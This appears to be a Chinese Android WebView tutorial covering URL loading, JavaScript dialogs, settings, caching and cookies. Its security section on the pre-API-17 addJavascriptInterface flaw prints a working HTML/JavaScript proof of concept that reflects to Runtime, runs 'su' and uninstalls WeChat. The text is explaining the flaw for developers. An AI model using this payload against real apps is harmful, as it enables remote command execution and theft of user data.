Android應(yīng)用開(kāi)發(fā)中WebView的常用方法筆記整理
基本使用
使用WebView通常是需要網(wǎng)絡(luò)的,所以需要加上訪問(wèn)網(wǎng)絡(luò)的權(quán)限
<uses-permission android:name="android.permission.INTERNET" />
1.加載某個(gè)url的方法
WebView.loadUrl("http://www.baidu.com");
需要注意的是不要省略前面的http://,省略的話,某些ROM中的WebView會(huì)加載失敗
2.加載assets中的HTML
WebView.loadUrl("file:///android_asset/xxx.html")
3.加載一段javascript
WebView.loadUrl("javascript:" + ${js_code})
4.為js提供本地方法
如下,提供一個(gè)showToast的方法給javascript
private static class JavaJs { private Context context; JavaJs(Context context) { this.context = context; } @JavascriptInterface public void showToast(String str) { Toast.makeText(context, str, Toast.LENGTH_LONG).show(); } } webView.addJavascriptInterface(new JavaJs(this), "JavaJs"); <script type="text/javascript"> JavaJs.showToast("toast from js"); </script>
注意:
- 提供給javascript的方法必需是public的,否則js無(wú)法訪問(wèn)
- 提供給javascript的方法將會(huì)在WebView管理的線程中執(zhí)行,因此要保證該方法的線程安全性.(Toast是支持在非UI線程中show()的,所以上面的showToast方法是沒(méi)問(wèn)題的)
- 提供給javascript的方法一定要加上 @JavascriptInterface
- 在Android 4.2,Api 17之前,javascript可以通過(guò)反射java對(duì)象,來(lái)執(zhí)行一些危險(xiǎn)操作.比如反射取到Runtime,然后執(zhí)行shell命令
- 雖然@JavascriptInterface是在Api 17加上的,但是Api 17之前,我們依然建議將提供給javascript的方法加上該annotation.(JSR-175規(guī)定,運(yùn)行時(shí)annotation缺失,則直接忽略,而不會(huì)拋出ClassNotFoundException)
- 針對(duì)Android 4.2以前的設(shè)備,我們建議不要通過(guò)addJavascriptInterface向javascript提供方法,并且通過(guò)removeJavascriptInterface("searchBoxJavaBridge_")來(lái)移除WebView自己添加的java對(duì)象.
5.頁(yè)面跳轉(zhuǎn)
webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { if (Uri.parse(url).getHost().equals("www.xxx.com")) { // 自己的頁(yè)面,直接使用WebView加載 return false; } // 別的公司的頁(yè)面,使用瀏覽器打開(kāi) Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); startActivity(intent); return true; } });
6.訪問(wèn)歷史回退
@Override public boolean onKeyDown(int keyCode, KeyEvent event) { if ((keyCode == KeyEvent.KEYCODE_BACK) && webView.canGoBack()) { webView.goBack(); return true; } return super.onKeyDown(keyCode, event); }
7.在Logcat中輸出javascript的日志信息
重寫(xiě)WebChromeClient中的onConsoleMessage方法
@Override public boolean onConsoleMessage(ConsoleMessage consoleMessage) { Log.d("WebView", consoleMessage.message() + " js line: " + consoleMessage.lineNumber()); return true; }
8.支持javascript的警告框 alert
重寫(xiě)WebChromeClient中的onJsAlert方法
@Override public boolean onJsAlert(WebView view, String url, String message, final JsResult result) { new AlertDialog.Builder(MainActivity.this) .setTitle("JsAlert") .setMessage(message) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(); } }) .setCancelable(false) .show(); return true; }
9.支持javascript的確認(rèn)框 confirm
重寫(xiě)WebChromeClient中的onJsConfirm方法
@Override public boolean onJsConfirm(WebView view, String url, String message, final JsResult result) { new AlertDialog.Builder(MainActivity.this) .setTitle("JsConfirm") .setMessage(message) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(); } }) .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.cancel(); } }) .setCancelable(false) .show(); return true; }
10.支持javascript提問(wèn)框 prompt
重寫(xiě)WebChromeClient中的onJsPrompt方法
@Override public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, final JsPromptResult result) { final EditText et = new EditText(MainActivity.this); et.setText(defaultValue); new AlertDialog.Builder(MainActivity.this) .setTitle(message) .setView(et) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(et.getText().toString()); } }) .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.cancel(); } }) .setCancelable(false) .show(); return true; }
11.顯示空白頁(yè)
WebView.loadUrl("about:blank"); //該方法使得WebView只會(huì)繪制一個(gè)白色背景,并且釋放之前加載頁(yè)面時(shí)使用的資源,并停止之前javascript的執(zhí)行
12.清除返回棧 WebView.clearHistory
13.獲得訪問(wèn)歷史列表 WebView.copyBackForwardList
14.下載 WebView.setDownloadListener
15.pauseTimers, onPause, resumeTimers, onResume
pauseTimers, onPause 停止解析,javascript執(zhí)行等操作.區(qū)別是 onPause 只作用于調(diào)用它的WebView,而 pauseTimers 作用于當(dāng)前應(yīng)用中所有的WebView
resumeTimers, onResume 恢復(fù)解析,javascript執(zhí)行等操作.區(qū)別是 onResume 只作用于調(diào)用它的WebView,而 resumeTimers 作用于當(dāng)前應(yīng)用中所有的WebView
常用設(shè)置
1.安全相關(guān)(去掉不必要的JavaBridge)
//這個(gè)Java Bridge是WebView自己添加的 //在Api 17以前,javascript可以通過(guò)java對(duì)象進(jìn)行反射,執(zhí)行一些不安全的操作 webView.removeJavascriptInterface("searchBoxJavaBridge_");
2.js相關(guān)
//設(shè)置支持javascript,默認(rèn)是false WebSettings.setJavaScriptEnabled(true);
3.縮放相關(guān)
//使WebView支持通過(guò)手勢(shì)或者縮放控制器來(lái)縮放頁(yè)面,默認(rèn)是true //該設(shè)置不影響 WebView.zoomIn()和WebView.zoomOut() WebSettings.setSupportZoom(true); //設(shè)置使用默認(rèn)的縮放控制器,默認(rèn)是false WebSettings.setBuiltInZoomControls(true); //不顯示默認(rèn)的+/-縮放控制View, 默認(rèn)是true WebSettings.setDisplayZoomControls(false); 加載圖片策略相關(guān) //設(shè)置是否自動(dòng)加載圖片,默認(rèn)是`true`,如果設(shè)置為`false`,那么所有圖片都不會(huì)被加載,包括本地圖片. WebSettings.setLoadsImagesAutomatically(true); //設(shè)置是否阻止加載網(wǎng)絡(luò)圖片,默認(rèn)是`false`,如果設(shè)置為`true`,那么網(wǎng)絡(luò)圖片將不會(huì)加載.(可以先設(shè)置為true,然后再設(shè)置為false,來(lái)加快頁(yè)面加載速度) WebSettings.setBlockNetworkImage(false); //設(shè)置是否阻止加載網(wǎng)絡(luò)資源(不僅僅是圖片),默認(rèn)是`false`,如果設(shè)置為`true`,那么網(wǎng)絡(luò)上的js,css,圖片等資源都不會(huì)加載 WebSettings.setBlockNetworkLoads(false);
4.渲染相關(guān)
//設(shè)置渲染線程的優(yōu)先級(jí) //該方法在 Api 18之后被廢棄,優(yōu)先級(jí)由WebView自己管理 //不過(guò)任然建議將其設(shè)置為 HIGH,來(lái)提高頁(yè)面渲染速度 WebSettings.setRenderPriority(RenderPriority.HIGH); Viewport相關(guān) //設(shè)置使用 寬 的Viewpoint,默認(rèn)是false //Android browser以及chrome for Android的設(shè)置是`true` //而WebView的默認(rèn)設(shè)置是`false` //如果設(shè)置為`true`,那么網(wǎng)頁(yè)的可用寬度為`980px`,并且可以通過(guò) meta data來(lái)設(shè)置 //如果設(shè)置為`false`,那么可用區(qū)域和WebView的顯示區(qū)域有關(guān). WebSettings.setUseWideViewPort(true); //如果webview內(nèi)容寬度大于顯示區(qū)域的寬度,那么將內(nèi)容縮小,以適應(yīng)顯示區(qū)域的寬度, 默認(rèn)是false WebView.setLoadWithOverviewMode(true); <!--如果WebSettings.getUseWideViewPort 是true, 那么可以通過(guò)meta來(lái)設(shè)置 Viewport --> <!--例如將其可用寬度設(shè)置為 480px, 并且禁用縮放功能--> <head> <meta name="viewport" content="width=480, user-scalable=no" /> </head> <!--如果WebSettings.getUseWideViewPort 是false, 那么 不能 通過(guò)meta來(lái)設(shè)置-->
其效果類(lèi)似于:
<meta name="viewport" content="width=device-width"/>
注意: 這里的px和通常說(shuō)的像素不同,他和dp的概念非常類(lèi)似. 參見(jiàn) Mozilla
前端存儲(chǔ)相關(guān)設(shè)置(方便前端工程師在客戶(hù)端存儲(chǔ)數(shù)據(jù))
//支持H5的 application cache 的功能 WebSettings.setAppCacheEnabled(true); //設(shè)置 application cache 的存儲(chǔ)路徑(通常存儲(chǔ)js,css,圖片等) WebSetting.setAppCachePath("xxx"); //支持 H5 的session storage和local storage WebSettings.setDomStorageEnabled(true); //支持javascript讀,寫(xiě)db WebSettings.setDatabaseEnabled(true); //設(shè)置js創(chuàng)建的db文件的路徑, Api 19以后廢棄,直接有webview管理 WebSettings.setDatabasePath("xxx");
5.緩存相關(guān)設(shè)置
//設(shè)置加載資源時(shí),如何使用cache //默認(rèn)設(shè)置是:WebSettings.LOAD_DEFAULT //當(dāng)WebView正常加載一個(gè)頁(yè)面時(shí),如果緩存命中且沒(méi)有過(guò)期,則使用緩存數(shù)據(jù),否則從網(wǎng)絡(luò)加載,當(dāng)WebView.goBack()時(shí),如果緩存命中,直接使用,不會(huì)驗(yàn)證是否過(guò)期 //可用的其他設(shè)置:LOAD_CACHE_ELSE_NETWORK, LOAD_NO_CACHE, LOAD_CACHE_ONLY WebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);
6.cookie相關(guān)
public static void synCookies(Context context, String url) { CookieManager cookieManager = CookieManager.getInstance(); cookieManager.setAcceptCookie(true);//默認(rèn)就是true cookieManager.setCookie(url, cookies); if(Build.VERSION.SDK_INT < 21) { CookieSyncManager.createInstance(context).sync(); } else { cookieManager.flush(); } }
addJavascriptInterface的安全問(wèn)題
1.為javascript提供native接口的途徑
Android WebView 提供一個(gè)addJavascriptInterface方法來(lái)為javascript創(chuàng)建一個(gè)JavaBridge.
例如給js提供一個(gè)showToast的方法:
private static class JavaJs { private Context context; JavaJs(Context context) { this.context = context; } @JavascriptInterface public void showToast(String str) { Toast.makeText(context, str, Toast.LENGTH_LONG).show(); } } webView.addJavascriptInterface(new JavaJs(this), "JavaJs"); <script type="text/javascript"> JavaJs.showToast("toast from js"); </script>
2.安全問(wèn)題
Api 17之前,在WebView為javascript提供了java對(duì)象之后, 可以利用javascript代碼調(diào)用java的反射Api,進(jìn)行一些hack操作,導(dǎo)致安全性問(wèn)題.(<font color=red>注意: </font>低版本的WebView會(huì)自己添加一個(gè)searchBoxJavaBridge_對(duì)象,通常我們需要自己移除)
Api 17之后,WebView會(huì)禁止javascript調(diào)用沒(méi)有添加@JavascriptInterface方法,從而避免上述問(wèn)題.(<font color=red>注意: </font>推薦大家始終添加@JavascriptInterface,而不用關(guān)心Api版本,因?yàn)閍nnotation缺失并不會(huì)導(dǎo)致ClassNotFoundException,而僅僅是被jvm忽略)
安全問(wèn)題示例 (通過(guò)javascript卸載微信)
通過(guò)反射可以干很多事情,比如類(lèi)似于 UserInfo 這樣的對(duì)象,如果他是單例的話,那么很容易可以取到用戶(hù)的 用戶(hù)名,郵箱,手機(jī)號(hào) 等信息.
此處展示一個(gè)簡(jiǎn)單的頁(yè)面,當(dāng)通過(guò)WebView打開(kāi)這個(gè)HTML,手機(jī)上的微信就會(huì)被卸載(當(dāng)然前提是該app擁有root權(quán)限).
<html> <head> <script> function toByteArray(str) { var ch, stack, result = []; for(var i = 0; i < str.length; ++i) { ch = str.charCodeAt(i); stack = []; do { stack.push(ch & 0xFF); ch = ch >> 8; } while(ch); result = result.concat(stack.reverse()); } return result; } function execCmd(outputStream) { var cmd = "adb shell pm uninstall com.tencent.mm"; outputStream.write(toByteArray(cmd)); outputStream.close(); } function toString(inputStream) { var result = ""; var c; while((c = inputStream.read()) != -1) { var s = String.fromCharCode(c); result += s; } return result; } function hack() { for(var obj in window) { if("getClass" in window[obj]) { console.log(obj); var runtime = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null); var p = runtime.exec(["su"]); execCmd(p.getOutputStream()); alert(toString(p.getInputStream())); break; } } } hack(); </script> </head> <body> 卸載微信 :) </body> </html>
- Android開(kāi)發(fā)之WebView組件的使用解析
- Android開(kāi)發(fā)筆記之探秘WebView
- Android開(kāi)發(fā)中使用WebView控件瀏覽網(wǎng)頁(yè)的方法詳解
- Android WebView 應(yīng)用界面開(kāi)發(fā)教程
- Android開(kāi)發(fā)中WebView的簡(jiǎn)單使用小結(jié)
- Android開(kāi)發(fā)學(xué)習(xí)筆記 淺談WebView
- Android程序開(kāi)發(fā)之WebView使用總結(jié)
- Android開(kāi)發(fā)中WebView的詳細(xì)使用方法和常見(jiàn)操作
相關(guān)文章
Android UI控件之ImageSwitcher實(shí)現(xiàn)圖片切換效果
這篇文章主要為大家詳細(xì)介紹了Android UI控件之ImageSwitcher實(shí)現(xiàn)圖片切換效果,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-12-12Android項(xiàng)目中引入aar包的正確方法介紹
生成aar之后下一步就是如何引用本地的aar文件,下面這篇文章主要給大家介紹了關(guān)于Android項(xiàng)目中引入aar包的相關(guān)資料,文中通過(guò)實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2022-08-08Android 開(kāi)機(jī)應(yīng)用掃描相關(guān)總結(jié)
本篇文章只是作為指南引導(dǎo)去看PkMS,不會(huì)貼大段代碼進(jìn)行分析,更多是基于方法分析實(shí)現(xiàn)的邏輯,另外就是代碼是基于Android 11,與Android 10之前代碼有比較大的差別。2021-05-05Android RadioGroup多行顯示效果 解決單選問(wèn)題
這篇文章主要為大家詳細(xì)介紹了Android RadioGroup多行顯示效果,解決單選問(wèn)題,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-11-11Android onCreateOptionsMenu的使用方法總結(jié)
這篇文章主要介紹了Android onCreateOptionsMenu的使用方法總結(jié)的相關(guān)資料,在Android下,每一個(gè)activity都捆綁了一個(gè)Menu,要想定義和使用菜單,都必須在Activity下進(jìn)行操作,需要的朋友可以參考下2017-08-08android 手機(jī)截取長(zhǎng)屏實(shí)例代碼
本篇文章主要介紹了android 手機(jī)截取長(zhǎng)屏實(shí)例代碼,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2017-06-06Android 開(kāi)發(fā)中l(wèi)ayout下的子文件夾
這篇文章主要介紹了android 開(kāi)發(fā)中l(wèi)ayout下的子文件夾,需要的朋友可以參考下2017-12-12Android編程滑動(dòng)效果之倒影效果實(shí)現(xiàn)方法(附demo源碼下載)
這篇文章主要介紹了Android編程滑動(dòng)效果之倒影效果實(shí)現(xiàn)方法,基于繼承BaseAdapter自定義Gallery和ImageAdapter實(shí)現(xiàn)倒影的功能,并附帶demo源碼供讀者下載參考,需要的朋友可以參考下2016-02-02